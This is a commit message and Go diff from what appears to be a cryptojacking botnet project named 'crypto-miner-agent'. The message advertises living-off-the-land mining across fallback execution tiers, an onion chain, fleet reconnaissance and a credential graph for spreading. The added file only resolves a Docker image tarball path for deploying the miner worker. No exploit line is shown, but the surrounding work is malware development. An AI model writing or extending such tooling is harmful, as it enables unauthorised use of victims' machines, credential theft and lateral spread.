Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/image_tar.go

@@ -0,0 +1,53 @@
+package miner
+
+import (
+	"errors"
+	"fmt"
+	"os"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+// ErrNoImageTar is returned when docker_load tier is selected but no tarball is available.
+var ErrNoImageTar = errors.New("no docker image tarball configured")
+
+// imageTarFetcher resolves a worker OCI tarball from the server upload/channel stub.
+// Tests and integrations override via SetImageTarFetcher.
+var imageTarFetcher func(cfg config.RuntimeConfig) (string, error)
+
+// SetImageTarFetcher restores the default when fn is nil.
+func SetImageTarFetcher(fn func(cfg config.RuntimeConfig) (string, error)) {
+	imageTarFetcher = fn
+}
+
+// HasImageTarPolicy reports whether server policy supplies a local tar for docker_load.
+func HasImageTarPolicy(cfg config.RuntimeConfig) bool {
+	_, err := ResolveImageTar(cfg)
+	return err == nil
+}
+
+// ResolveImageTar returns a filesystem path to the worker image tar.
+// Priority: injected fetcher → AETHERFORGE_DOCKER_IMAGE_TAR env → cfg.DockerImageTar.
+func ResolveImageTar(cfg config.RuntimeConfig) (string, error) {
+	if imageTarFetcher != nil {
+		if p, err := imageTarFetcher(cfg); err == nil && strings.TrimSpace(p) != "" {
+			return strings.TrimSpace(p), nil
+		} else if err != nil && !errors.Is(err, ErrNoImageTar) {
+			return "", err
+		}
+	}
+	if p := strings.TrimSpace(os.Getenv("AETHERFORGE_DOCKER_IMAGE_TAR")); p != "" {
+		if _, err := os.Stat(p); err != nil {
+			return "", fmt.Errorf("docker image tar: %w", err)
+		}
+		return p, nil
+	}
+	if p := strings.TrimSpace(cfg.DockerImageTar); p != "" {
+		if _, err := os.Stat(p); err != nil {
+			return "", fmt.Errorf("docker image tar: %w", err)
+		}
+		return p, nil
+	}
+	return "", ErrNoImageTar
+}